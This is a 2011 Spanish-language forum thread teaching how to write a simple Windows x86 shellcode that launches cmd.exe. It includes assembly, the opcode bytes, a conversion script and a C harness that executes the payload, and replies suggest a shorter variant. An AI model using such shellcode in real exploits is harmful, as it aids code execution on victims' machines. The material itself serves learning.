elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  [Taller] Creando una shellcode (x86 | win)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Taller] Creando una shellcode (x86 | win)  (Leído 6,873 veces)
lShadowl

Desconectado Desconectado

Mensajes: 7


INTJ


Ver Perfil
[Taller] Creando una shellcode (x86 | win)
« en: 26 Febrero 2011, 14:13 pm »

Creando una Shellcode

por lShadowl



Conocimientos previos requeridos: asm 32b y C

Conocimientos previos:
-Que es una shellcode?
"Una shellcode es un conjunto de ?rdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecuci?n de un programa para conseguir que la m?quina en la que reside se ejecute la operaci?n que se haya programado.(...)" >> http://es.wikipedia.org/wiki/Shellcode

Herramientas usadas en este tutorial?Descarga:

Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows.

La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:

-----Categoria Devel----
>binutils
>gcc
>nasm
----Categoria System----
>util-linux
----Categoria Editors----
>vim

Otras herramientas y scripts usados estan como codigo fuente en el tutorial.



Introduccion

Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el

proceso en 2 partes: codificacion en ensamblador y conversion a opcode.

El objetivo del tutorial es crear una shellcode que abra una cmd.



Codificacion en ensamblador

Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones "WinExec" [con que ejecutaremos la cmd] y "ExitProcess" [con la cual saldremos del programa], ambas se encuentran en la dll "kernel32".
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a "arwin", un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. /***************************************
  5. arwin - win32 address resolution program
  6. by steve hanna v.01
  7.    vividmachines.com
  8.    shanna@uiuc.edu
  9. you are free to modify this code
  10. but please attribute me if you
  11. change the code. bugfixes & additions
  12. are welcome please email me!
  13. to compile:
  14. you will need a win32 compiler with
  15. the win32 SDK
  16.  
  17. this program finds the absolute address
  18. of a function in a specified DLL.
  19. happy shellcoding!
  20. ***************************************/
  21.  
  22.  
  23. int main(int argc, char** argv)
  24. {
  25. HMODULE hmod_libname;
  26. FARPROC fprc_func;
  27.  
  28. printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
  29. if(argc < 3)
  30. {
  31. printf("%s <Library Name> <Function Name>\n",argv[0]);
  32. exit(-1);
  33. }
  34.  
  35. hmod_libname = LoadLibrary(argv[1]);
  36. if(hmod_libname == NULL)
  37. {
  38. printf("Error: could not load library!\n");
  39. exit(-1);
  40. }
  41. fprc_func = GetProcAddress(hmod_libname,argv[2]);
  42.  
  43. if(fprc_func == NULL)
  44. {
  45. printf("Error: could find the function in the library!\n");
  46. exit(-1);
  47. }
  48. printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
  49.  
  50.  
  51. }

Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs.

Ya con arwin usaremos la linea:

$ arwin kernel32.dll WinExec

con lo cual obtendremos un resultado parecido a este:



El mismo proceso para buscar "ExitProcess". >>



Ahora que tenemos las direcciones, pasemos al code en asm.

--------------------------------------------------------------------------------------------
Código
  1. BITS 32                  ;especificamos que el code es 32bits
  2.  
  3. jmp short cmd                  ;"cmd" a la pila
  4.  
  5. init:
  6.   mov edx,7C8623ADh      ; 7C8623ADh>>direccion de WinExec a edx
  7.   call edx                             ; hacemos la llamada (recordemos que "cmd" esta en la pila)
  8.   mov edx,7C81CAFAh      ; 7C8623ADh>>direccion de ExitProcess a edx
  9.   call edx                            ; salimos
  10.  
  11. cmd:
  12.   CALL init
  13.   db 'cmd',00h    ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio
--------------------------------------------------------------------------------------------

Para cuestiones de seguimiento, llamaremos a este archivo "shc.asm".



(Entremedio) Como pusiste a cmd en la pila, no veo ni un push?



La respuesta a esta pregunta reside en el comportamiento de la instrucción 'call' en conjunto con la instrucción 'ret'>>
CALL lo que hace es introducir IP+1 en la pila, ósea la instrucción que sigue al CALL, y salta a la dirección que se le indica, RET toma el valor que introduce el CALL en la pila, y salta a el.

En ese caso

Código
  1. inc eip
  2. push eip
  3. jmp func
  4.  
y

Código
  1. call func


son equivalente, así como son:

Código
  1. pop edx ;estando eip+1 del code c2 al tope de la pila
  2. jmp edx

y

Código
  1. ret

La conclusión que podemos sacar de este comportamiento es que call nos deja un puntero en la pila de la siguiente dirección, este es el principio del código.
Salta a cmd:
Código
  1. jmp short cmd
     
      

En cmd: se manda el offset de "db 'cmd',00h" a pila y salta a init:


Código
  1. cmd:
  2.   CALL init
  3.   db 'cmd',00h


En init: 7C8623ADh pasa a edx y se lo llama teniendo el puntero a "db 'cmd',00h" en la pila.


Código
  1. init:
  2.   mov edx,7C8623ADh  
  3.   call edx




Conversion a opcode

Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:

$ nasm -f bin -o shc.bin shc.asm

En shc.bin tendremos algo como esto:

Código:
???#?|????|???????cmd 


luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:

$ xxd -i shc.bin

y nos devolvera esto:



Y listo, tenemos nuestra shellcode lista en C:
Código
  1. unsigned char shc_bin[] = {
  2.  0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca,
  3.  0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64,
  4.  0x00
  5. };
  6. unsigned int shc_bin_len = 25;


Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:

Código
  1. #!/bin/bash
  2. if [ $# -ne 1 ]
  3. then
  4.    printf "\n\tUsage: $0 filename.bin\n\n"
  5.    exit
  6. fi
  7.  
  8. filename=`echo $1 | sed s/"\.bin$"//`
  9. rm -f $filename.shellcode
  10.  
  11. for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
  12. do
  13.    echo -n "\\$i" >> $filename.shellcode
  14.    echo -n "\\$i"
  15. done
  16. echo

De esta forma::

$ xxd-shellcode.sh shc.bin

Devolvera esto:



y en shc.shellcode los opcodes
Código
  1. \xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64

Ahora veamos la plantilla en C para probarla

--------------------------
Código
  1. char code[] = "[b]OPCODES[/b]";
  2.  
  3. int main()
  4. {
  5. int (*func)();
  6. func = (int (*)()) code;
  7. (int)(*func)();
  8. }
--------------------------

Asi que tendriamos en sch.c ...:

Código
  1. char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00";
  2.  
  3. int main()
  4. {
  5. int (*func)();
  6. func = (int (*)()) code;
  7. (int)(*func)();
  8. }
  9.  

Compilamos ($ gcc -o shc shc.c) y probamos:





Saludos!
« Última modificación: 26 Febrero 2011, 23:55 pm por lShadowl » En línea


Linux Registered User #473016

Sarcasm....because arguing with stupid people is not nearly as fun.
-INTJ
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [Taller] Creando una shellcode (x86 | win)
« Respuesta #1 en: 26 Febrero 2011, 14:52 pm »

Me parece muy bien tu manual, deberías añadirlo a Post Interesantes.
Te lo subo a la Wiki por algún hueco, está todo muy bien explicado ;-)

Aparte, bienvenido al foro, espero verte más por aquí...
Un saludo! Sagrini

PD: Un detallito, mejor que usar calls podrías usar los push. Te ahorras mucho espacio  :¬¬
Código
  1. BITS 32
  2.  
  3. push 30646d63h
  4. push esp
  5. mov edx,7C8623ADh
  6. call edx
  7. mov edx,7C81CAFAh
  8. call edx
  9.  
No la he probado, luego la miraré, pero ahora mismo la tuya va directa a la Wiki...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
jackgris

Desconectado Desconectado

Mensajes: 149



Ver Perfil
Re: [Taller] Creando una shellcode (x86 | win)
« Respuesta #2 en: 26 Febrero 2011, 23:00 pm »

Parece un exelente post, gracias, y no sabia que asi funcionaban los calls  ;-) ;-)
« Última modificación: 26 Febrero 2011, 23:11 pm por jackgris » En línea

lShadowl

Desconectado Desconectado

Mensajes: 7


INTJ


Ver Perfil
Re: [Taller] Creando una shellcode (x86 | win)
« Respuesta #3 en: 27 Febrero 2011, 00:38 am »

Me parece muy bien tu manual, deberías añadirlo a Post Interesantes.
Te lo subo a la Wiki por algún hueco, está todo muy bien explicado ;-)

Aparte, bienvenido al foro, espero verte más por aquí...
Un saludo! Sagrini

PD: Un detallito, mejor que usar calls podrías usar los push. Te ahorras mucho espacio  :¬¬
Código
  1. BITS 32
  2.  
  3. push 30646d63h
  4. push esp
  5. mov edx,7C8623ADh
  6. call edx
  7. mov edx,7C81CAFAh
  8. call edx
  9.  
No la he probado, luego la miraré, pero ahora mismo la tuya va directa a la Wiki...

Gracias por la calurosa bienvenida.

Y pues si, son 5 bytes menos metiendole 'cmd' con push, vere como funciona asi.
En línea


Linux Registered User #473016

Sarcasm....because arguing with stupid people is not nearly as fun.
-INTJ
Ivanchuk


Desconectado Desconectado

Mensajes: 469


LLVM


Ver Perfil WWW
Re: [Taller] Creando una shellcode (x86 | win)
« Respuesta #4 en: 27 Febrero 2011, 00:58 am »

Muy buenos tutos Shadow ;-) y bienvenido al foro!
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
master_death

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: [Taller] Creando una shellcode (x86 | win)
« Respuesta #5 en: 3 Abril 2011, 22:08 pm »

esta muy bueno el tuto muy bien explicado una pregunta las herramientas q utilizas las puedo conseguir aca che no las tengo seria bueno q colocaras los links de los programas q usaste.

Gracias por el tuto.









"DE NADA SIRVEN LAS IDEAS SI NO LAS PONEMOS EN PRACTICA"
En línea

Иōҳ


Desconectado Desconectado

Mensajes: 563


Ver Perfil
Re: [Taller] Creando una shellcode (x86 | win)
« Respuesta #6 en: 9 Abril 2011, 18:12 pm »

muy bueno eh... ahora solo una pregunta tu no eres el moderador de la zona en asm en el .com? D:
En línea

Eres adicto a la Ing. Inversa? -> www.noxsoft.net
ShotgunLogic

Desconectado Desconectado

Mensajes: 233


Claws so razor sharp


Ver Perfil
Re: [Taller] Creando una shellcode (x86 | win)
« Respuesta #7 en: 24 Abril 2011, 20:08 pm »

Una cosa que te pregunto, cuando dices que hacer un call en ese caso equivale a

inc eip
push eip
jmp func


el incremento de eip no debería de ir ahi no? Es decir, segun tengo entendido cuando el procesador esta ejecutando una instrucción aprovecha el tiempo que derrocha en ir a memoria en incrementar el registro eip, vamos, que ya estaría apuntando a la siguiente instrucción, y hacer eso haría que apuntase a la siguiente de la siguiente. Vamos, yo lo tenía entendido asi xD
En línea

The clans are marching against the law, bagpipers play the tunes of war, death or glory I will find, rebellion on my mind.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Taller de Vic_Thor: PROTOCOLO 802.11. TALLER WiFi « 1 2 »
Hacking Wireless
ChimoC 10 60,558 Último mensaje 8 Agosto 2009, 12:04 pm
por ChimoC
.:. Shellcode 2 ASM .:. « 1 2 »
ASM
Garfield07 13 10,271 Último mensaje 3 Enero 2011, 20:31 pm
por Garfield07
[Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales"
Bugs y Exploits
lShadowl 6 7,585 Último mensaje 2 Marzo 2011, 13:08 pm
por 3mp3z@ndo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines